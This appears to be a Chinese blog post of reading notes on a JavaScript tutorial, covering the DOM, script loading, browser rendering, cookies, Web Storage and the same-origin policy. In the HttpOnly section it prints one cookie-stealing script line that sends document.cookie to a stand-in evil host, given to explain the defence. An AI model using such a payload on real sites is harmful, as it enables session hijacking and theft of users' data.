zoukankan      html  css  js  c++  java
  • JavaScript 标准参考教程-阅读总结(三)

    1、DOM模型

    DOM 是 JavaScript 操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个 JavaScript 对象,从而可以用脚本进行各种操作(比如增删内容)。

    1)document对象

    document对象是文档的根节点,每张网页都有自己的document对象。window.document属性就指向这个对象。只要浏览器开始载入 HTML 文档,该对象就存在了,可以直接使用。

    document.doctype:对于 HTML 文档来说,document对象一般有两个子节点。第一个子节点是document.doctype,指向<DOCTYPE>节点,即文档类型(Document Type Declaration,简写DTD)节点。HTML 的文档类型节点,一般写成<!DOCTYPE html>

    document.documentElement:document.documentElement属性返回当前文档的根节点(root)。它通常是document节点的第二个子节点,紧跟在document.doctype节点后面。HTML网页的该属性,一般是<html>节点。

    document.body,document.head:document.body属性指向<body>节点,document.head属性指向<head>节点。

    document.domain:document.domain属性返回当前文档的域名,不包含协议和接口。比如,网页的网址是http://www.example.com:80/hello.html,那么domain属性就等于www.example.com。如果无法获取域名,该属性返回null

    document.title:document.title属性返回当前文档的标题。默认情况下,返回<title>节点的值。但是该属性是可写的,一旦被修改,就返回修改后的值。

    document.cookie:document.cookie属性用来操作浏览器 Cookie。

    document.write():document.write方法用于向当前文档写入内容。它是JavaScript语言标准化之前就存在的方法,现在完全有更符合标准的方法向文档写入内容(比如对innerHTML属性赋值)。所以,除了某些特殊情况,应该尽量避免使用document.write这个方法

    1)Element对象

    Element对象对应网页的 HTML 元素。每一个 HTML 元素,在 DOM 树上都会转化成一个Element节点对象。

    Element.tagName:返回指定元素的大写标签名。

    网页元素可以自定义data-属性,用来添加数据。Element.dataset属性返回一个对象,可以从这个对象读写data-属性。注意,dataset上面的各个属性返回都是字符串

    // <span id="myspan" data-project-index="1" data-test='123'>Hello</span>
    var myspan = document.getElementById('myspan');
    myspan.dataset.timestamp = new Date().getTime(); console.log(myspan.dataset.projectIndex, myspan.dataset.test);
    // 1 123 console.log(myspan.getAttribute('data-project-index')); // 1

    除了使用dataset读写data-属性,也可以使用Element.getAttribute()Element.setAttribute(),通过完整的属性名读写这些属性。

    2、浏览器对象模型(BOM)

    1)概述

    1.1)script标签

    a)工作原理

    浏览器加载JavaScript脚本,主要通过<script>标签完成。正常的网页加载流程是这样的。

    • 浏览器一边下载HTML网页,一边开始解析
    • 解析过程中,发现<script>标签
    • 暂停解析,网页渲染的控制权转交给JavaScript引擎
    • 如果<script>标签引用了外部脚本,就下载该脚本,否则就直接执行
    • 执行完毕,控制权交还渲染引擎,恢复往下解析HTML网页

    加载外部脚本时,浏览器会暂停页面渲染,等待脚本下载并执行完成后,再继续渲染。原因是JavaScript可以修改DOM(比如使用document.write方法),所以必须把控制权让给它,否则会导致复杂的线程竞赛的问题。

    如果外部脚本加载时间很长(比如一直无法完成下载),就会造成网页长时间失去响应,浏览器就会呈现“假死”状态,这被称为“阻塞效应”。为了避免这种情况,较好的做法是将<script>标签都放在页面底部,而不是头部。这样即使遇到脚本失去响应,网页主体的渲染也已经完成了,用户至少可以看到内容,而不是面对一张空白的页面如果某些脚本代码非常重要,一定要放在页面头部的话,最好直接将代码嵌入页面,而不是连接外部脚本文件,这样能缩短加载时间

    将脚本文件都放在网页尾部加载,还有一个好处。在DOM结构生成之前就调用DOM,JavaScript会报错,如果脚本都在网页尾部加载,就不存在这个问题,因为这时DOM肯定已经生成了

    <html lang="en">
    <head>
        <!--...-->
        <script>
            // console.log(document.body); // null
            /*document.addEventListener('DOMContentLoaded',function(){
                console.log(document.body); // <body>...</body>
            })*/
            /*window.onload = function() {
                console.log(document.body); // <body>...</body> 
            }*/
        </script>
    </head>
    <body>
        <script>
            console.log(document.body); // <body>...</body>
        </script>
    </body>
    </html>

    如果有多个script标签,比如下面这样。

    <script src="a.js"></script>
    <script src="b.js"></script>

    浏览器会同时并行下载a.jsb.js,但是,执行时会保证先执行a.js,然后再执行b.js,即使后者先下载完成,也是如此。也就是说,脚本的执行顺序由它们在页面中的出现顺序决定,这是为了保证脚本之间的依赖关系不受到破坏。当然,加载这两个脚本都会产生“阻塞效应”,必须等到它们都加载完成,浏览器才会继续页面渲染。

    b)defer属性

    为了解决脚本文件下载阻塞网页渲染的问题,一个方法是加入defer属性。

    <script src="a.js" defer></script>
    <script src="b.js" defer></script>

    上面代码中,只有等到DOM加载完成后,才会执行a.jsb.js

    defer的运行流程如下:

    • 浏览器开始解析HTML网页
    • 解析过程中,发现带有defer属性的script标签
    • 浏览器继续往下解析HTML网页,同时并行下载script标签中的外部脚本
    • 浏览器完成解析HTML网页,此时再执行下载的脚本

    有了defer属性,浏览器下载脚本文件的时候,不会阻塞页面渲染。下载的脚本文件在DOMContentLoaded事件触发前执行(即刚刚读取完</html>标签),而且可以保证执行顺序就是它们在页面上出现的顺序。对于内置而不是加载外部脚本的script标签,以及动态生成的script标签,defer属性不起作用。另外,使用defer加载的外部脚本不应该使用document.write方法。

    c)async属性

    解决“阻塞效应”的另一个方法是加入async属性。

    <script src="a.js" async></script>
    <script src="b.js" async></script>

    async属性的作用是,使用另一个进程下载脚本,下载时不会阻塞渲染。

    • 浏览器开始解析HTML网页
    • 解析过程中,发现带有async属性的script标签
    • 浏览器继续往下解析HTML网页,同时并行下载script标签中的外部脚本
    • 脚本下载完成,浏览器暂停解析HTML网页,开始执行下载的脚本
    • 脚本执行完毕,浏览器恢复解析HTML网页

    async属性可以保证脚本下载的同时,浏览器继续渲染。需要注意的是,一旦采用这个属性,就无法保证脚本的执行顺序。哪个脚本先下载结束,就先执行那个脚本。另外,使用async属性的脚本文件中,不应该使用document.write方法。

    defer属性和async属性到底应该使用哪一个?一般来说,如果脚本之间没有依赖关系,就使用async属性,如果脚本之间有依赖关系,就使用defer属性。如果同时使用asyncdefer属性,后者不起作用,浏览器行为由async属性决定。

    1.2)浏览器的组成

    浏览器的核心是两部分:渲染引擎和JavaScript解释器(又称JavaScript引擎)。

    a)渲染引擎

    渲染引擎的主要作用是,将网页代码渲染为用户视觉可以感知的平面文档。不同的浏览器有不同的渲染引擎

    渲染引擎处理网页,通常分成四个阶段。

    • 解析代码:HTML代码解析为DOM,CSS代码解析为CSSOM(CSS Object Model)
    • 对象合成:将DOM和CSSOM合成一棵渲染树(render tree)
    • 布局:计算出渲染树的布局(layout)
    • 绘制:将渲染树绘制到屏幕

    以上四步并非严格按顺序执行,往往第一步还没完成,第二步和第三步就已经开始了。所以,会看到这种情况:网页的HTML代码还没下载完,但浏览器已经显示出内容了。

    b)重流和重绘

    渲染树转换为网页布局,称为“布局流”;布局显示到页面的这个过程,称为“绘制”。它们都具有阻塞效应,并且会耗费很多时间和计算资源。

    页面生成以后,脚本操作和样式表操作,都会触发重流和重绘。用户的互动,也会触发,比如设置了鼠标悬停(a:hover)效果、页面滚动、在输入框中输入文本、改变窗口大小等等。重流和重绘并不一定一起发生,重流必然导致重绘,重绘不一定需要重流。比如改变元素颜色,只会导致重绘,而不会导致重流;改变元素的布局,则会导致重绘和重流。大多数情况下,浏览器会智能判断,将重流和重绘只限制到相关的子树上面,最小化所耗费的代价,而不会全局重新生成网页。

    作为开发者,应该尽量设法降低重绘的次数和成本。比如,尽量不要变动高层的DOM元素,而以底层DOM元素的变动代替;再比如,重绘table布局和flex布局,开销都会比较大。

    优化技巧。

    • 读取DOM或者写入DOM,尽量写在一起,不要混杂
    • 缓存DOM信息
    • 不要一项一项地改变样式,而是使用CSS class一次性改变样式
    • 使用document fragment操作DOM
    • 动画时使用absolute定位或fixed定位,这样可以减少对其他元素的影响
    • 只在必要时才显示元素
    • 使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流
    • 使用虚拟DOM(virtual DOM)库

    c)JavaScript引擎

    JavaScript引擎的主要作用是,读取网页中的JavaScript代码,对其处理后运行。

    JavaScript是一种解释型语言,也就是说,它不需要编译,由解释器实时运行。这样的好处是运行和修改都比较方便,刷新页面就可以重新解释;缺点是每次运行都要调用解释器,系统开销较大,运行速度慢于编译型语言。为了提高运行速度,目前的浏览器都将JavaScript进行一定程度的编译,生成类似字节码的中间代码,以提高运行速度。

    2)window对象

    在浏览器中,window对象指当前的浏览器窗口。它也是所有对象的顶层对象。

    “顶层对象”指的是最高一层的对象,所有其他对象都是它的下属。JavaScript规定,浏览器环境的所有全局变量,都是window对象的属性

    2.1)URL的编码/解码方法

    网页URL的合法字符分成两类。

    • URL元字符:分号(;),逗号(’,’),斜杠(/),问号(?),冒号(:),at(@),&,等号(=),加号(+),美元符号($),井号(#
    • 语义字符:a-zA-Z0-9,连词号(-),下划线(_),点(.),感叹号(!),波浪线(~),星号(*),单引号(),圆括号(()`)

    除了以上字符,其他字符出现在URL之中都必须转义,规则是根据操作系统的默认编码,将每个字节转为百分号(%)加上两个大写的十六进制字母

    JavaScript提供四个URL的编码/解码方法:encodeURI()、encodeURIComponent()、decodeURI()、decodeURIComponent()。

    encodeURI 方法的参数是一个字符串,代表整个URL。它会将元字符和语义字符之外的字符,都进行转义;encodeURIComponent只转除了语义字符之外的字符,元字符也会被转义。因此,它的参数通常是URL的路径或参数值,而不是整个URL。

    encodeURI('http://www.example.com/q=春节')
    // "http://www.example.com/q=%E6%98%A5%E8%8A%82"
    encodeURIComponent('http://www.example.com/q=春节')
    // "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"

    上面代码中,encodeURIComponent会连URL元字符一起转义,所以通常只用它转URL的片段

    decodeURI用于还原转义后的URL,它是encodeURI方法的逆运算;decodeURIComponent用于还原转义后的URL片段,它是encodeURIComponent方法的逆运算。

    2.2)window.location

    window.location返回一个location对象,用于获取窗口当前的URL信息。它等同于document.location对象

    3)history对象

    浏览器窗口有一个history对象,用来保存浏览历史。

    history对象提供了一系列方法,允许在浏览历史之间移动。

    • back():移动到上一个访问页面,等同于浏览器的后退键。
    • forward():移动到下一个访问页面,等同于浏览器的前进键。
    • go():接受一个整数作为参数,移动到该整数指定的页面,比如go(1)相当于forward()go(-1)相当于back()

    如果移动的位置超出了访问历史的边界,以上三个方法并不报错,而是默默的失败。history.go(0)相当于刷新当前页面。注意,返回上一页时,页面通常是从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。

    4)Cookie

    4.1)概述

    Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。

    • 对话(session)管理:保存登录、购物车等需要记录的信息。
    • 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
    • 追踪:记录和分析用户行为。

    有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB

    Cookie 包含以下几方面的信息:Cookie 的名字、Cookie 的值、到期时间、所属域名(默认是当前域名)、生效的路径(默认是当前网址)。

    举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含www.example.com这个域名,以及根路径/。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。

    document.cookie属性返回当前网页的 Cookie。浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。

    4.2)Cookie 与 HTTP 协议

    a)HTTP 回应:Cookie 的生成

    Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段

    Set-Cookie:foo=bar

    上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar

    b)HTTP 请求:Cookie 的发送

    浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

    Cookie: foo=bar

    上面代码会向服务器发送名为foo的 Cookie,值为barCookie字段可以包含多个 Cookie,使用分号(;)分隔

    Cookie: name=value; name2=value2; name3=value3

    4.3)Cookie 的属性

    a)Expires,Max-Age

    Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

    Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

    如果Set-Cookie字段没有指定ExpiresMax-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie

    b)Domain,Path

    Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前 URL 的一级域名,比如www.example.com会设为example.com,而且以后如果访问example.com的任何子域名,HTTP 请求也会带上这个 Cookie。如果服务器在Set-Cookie字段指定的域名,不属于当前域名,浏览器会拒绝这个 Cookie

    Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。

    c)Secure,HttpOnly

    Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

    HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是Document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie

    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

    上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。

    4.4)document.cookie

    document.cookie属性用于读写当前网页的 Cookie。读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。

    document.cookie // "foo=bar;baz=bar"

    上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。

    var cookies = document.cookie.split(';');
    for (var i = 0; i < cookies.length; i++) {
      console.log(cookies[i]);
    }
    // foo=bar
    // baz=bar

    document.cookie属性是可写的,可以通过它为当前网站添加 Cookie

    document.cookie = 'fontSize=14';

    写入的时候,Cookie 的值必须写成key=value的形式。document.cookie一次只能写入一个 Cookie。

    5)Web Storage:浏览器端数据储存机制

    这个API的作用是,使得网页可以在浏览器端储存数据。它分成两类:sessionStorage和localStorage。sessionStorage保存的数据用于浏览器的一次会话,当会话结束(通常是该窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的属性和方法完全一样。与Cookie一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取。

    6)同源政策

    同源政策最初的含义是指,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页“同源”。所谓“同源”指的是”三个相同“:协议相同、域名相同、端口相同。

    同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。

    6.1)Cookie

    Cookie 是服务器写入浏览器的一小段信息,只有同源的网页才能共享。如果两个网页一级域名相同,只是次级域名不同,浏览器允许通过设置document.domain共享 Cookie

    举例来说,A 网页的网址是http://w1.example.com/a.html,B 网页的网址是http://w2.example.com/b.html,那么只要设置相同的document.domain,两个网页就可以共享 Cookie。因为浏览器通过document.domain属性来检查是否同源。

    // 两个网页都需要设置
    document.domain = 'example.com';

    注意,A 和 B 两个网页都需要设置document.domain属性,才能达到同源的目的。因为设置document.domain的同时,会把端口重置为null,因此如果只设置一个网页的document.domain,会导致两个网址的端口不同,还是达不到同源的目的

    另外,服务器也可以在设置 Cookie 的时候,指定 Cookie 的所属域名为一级域名,比如.example.com。这样的话,二级域名和三级域名不用做任何设置,都可以读取这个 Cookie。

    Set-Cookie: key=value; domain=.example.com; path=/

    6.2)AJAX

    同源政策规定,AJAX 请求只能发给同源的网址,否则就报错。除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制:JSONP、WebSocket、CORS。

    a)JSONP

    JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老式浏览器全部支持,服务端改造非常小。它的基本思想是,网页通过添加一个<script>元素,向服务器请求 JSON 数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

    function addScriptTag(src) {
      var script = document.createElement('script');
      script.src = src;
      document.body.appendChild(script);
    }
    window.onload = function () {
      //addScriptTag('https://xxx/xxx.do?callback=foo');
      addScriptTag('https://xxx/xxx.do?jsonp=foo');
    }
    
    function foo(data) {
      console.log(data);
    };

    上面代码通过动态添加<script>元素,向服务器发出请求(https://xxx/xxx.do)。注意,该请求的查询字符串有一个callback或jsonp参数,用来指定回调函数的名字,这对于 JSONP 是必需的。服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用(未定义会报错)。

    b)WebSocket

    WebSocket 是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信

    下面是一个例子,浏览器发出的 WebSocket 请求的头信息

    GET /chat HTTP/1.1
    Host: server.example.com
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
    Sec-WebSocket-Protocol: chat, superchat
    Sec-WebSocket-Version: 13
    Origin: http://example.com

    上面代码中,有一个字段是Origin,表示该请求的请求源,即发自哪个域名。正是因为有了Origin这个字段,所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出回应

    c)CORS

    CORS 是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是 W3C 标准,属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发GET请求,CORS 允许任何类型的请求

    7)AJAX

  • 相关阅读:
    20162317袁逸灏 第四周实验报告:实验一 线性结构
    仿ArrayList功能的bag类
    算法复杂度课后作业
    20162317 2017-2018-1 《程序设计与数据结构》第3周学习总结
    学号 2017-2018-1 《程序设计与数据结构》第1周学习总结
    Android:有关下拉菜单导航的学习(供自己参考)
    Android:有关菜单的学习(供自己参考)
    Java:类集框架中集合的学习
    20162305李昱兴 2017-2018-1 《程序设计与数据结构》第1周学习总结
    第十六周 数据库课堂实践 20162305 李昱兴
  • 原文地址:https://www.cnblogs.com/colorful-coco/p/8919321.html
Copyright © 2011-2022 走看看